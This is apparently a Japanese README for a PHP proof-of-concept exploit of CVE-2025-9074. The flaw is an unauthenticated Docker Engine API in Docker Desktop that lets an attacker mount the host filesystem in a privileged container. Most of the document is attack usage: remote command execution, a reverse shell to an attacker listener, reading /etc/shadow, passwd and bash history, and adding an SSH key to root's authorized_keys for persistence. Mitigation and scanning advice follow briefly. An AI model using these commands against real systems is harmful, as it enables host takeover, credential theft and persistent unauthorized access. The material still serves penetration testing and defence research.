
PHP PoC、CVE-2025-9074のエクスプロイト
重要度: CRITICAL | CVSS スコア: 9.8 (推定) | 影響を受けるバージョン: Docker Desktop < 4.44.3
CVE-2025-9074 の概念実証エクスプロイトです。これは Docker Engine API における認証なしのリモートコード実行 (RCE) 脆弱性であり、特権コンテナのエスケープとホストシステムの侵害を可能にします。
CVE-2025-9074 は Docker Desktop の深刻な脆弱性であり、適切な認証やネットワーク分離なしに Docker Engine API を露出させます。これにより、リモートの攻撃者が以下のことを行えます:
この脆弱性は以下に影響します:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Docker ホスト上で単一のコマンドを実行します:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
インタラクティブなリバースシェルを確立します:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
ターゲット上で単一のコマンドを実行します:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
コールバック付きのインタラクティブシェルを起動します:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 でリスニング/containers/create 経由で特権コンテナを作成/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs パスへの直接の読み書きアクセス┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
Docker Desktop のアップグレード
# Update to version 4.44.3 or later
ネットワークの分離
TLS 認証の有効化
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
ネットワークのセグメント化
/var/run/docker.sock) のみを使用する# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
このツールは、許可されたセキュリティテストおよび教育目的でのみ提供されます。
貢献を歓迎します!お気軽に issue やプルリクエストを送信してください。
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細は LICENSE ファイルを参照してください。
セキュリティ研究者 | ペネトレーションテスター
最終更新: 2025年5月 | ステータス: 研究中
| オプション | 短縮形 | 必須 | 説明 |
|---|
--url | -u | ✅ はい | Docker API URL (例: http://1.2.3.4:2375) |
--mode | -m | ❌ いいえ | 実行モード: cmd または reverse (デフォルト: cmd) |
--cmd | -c | ⚠️ コマンドモードの場合 | ターゲット上で実行するコマンド |
--lhost | -l | ⚠️ リバースモードの場合 | コールバック用のあなたの IP アドレス |
--lport | -p | ❌ いいえ | あなたのリスニングポート (デフォルト: 4444) |
--os | — | ❌ いいえ | ターゲット OS: linux, mac, windows (デフォルト: linux) |
--cleanup | — | ❌ いいえ | 実行後にコンテナを削除する |
--help | -h | ❌ いいえ | ヘルプメッセージを表示する |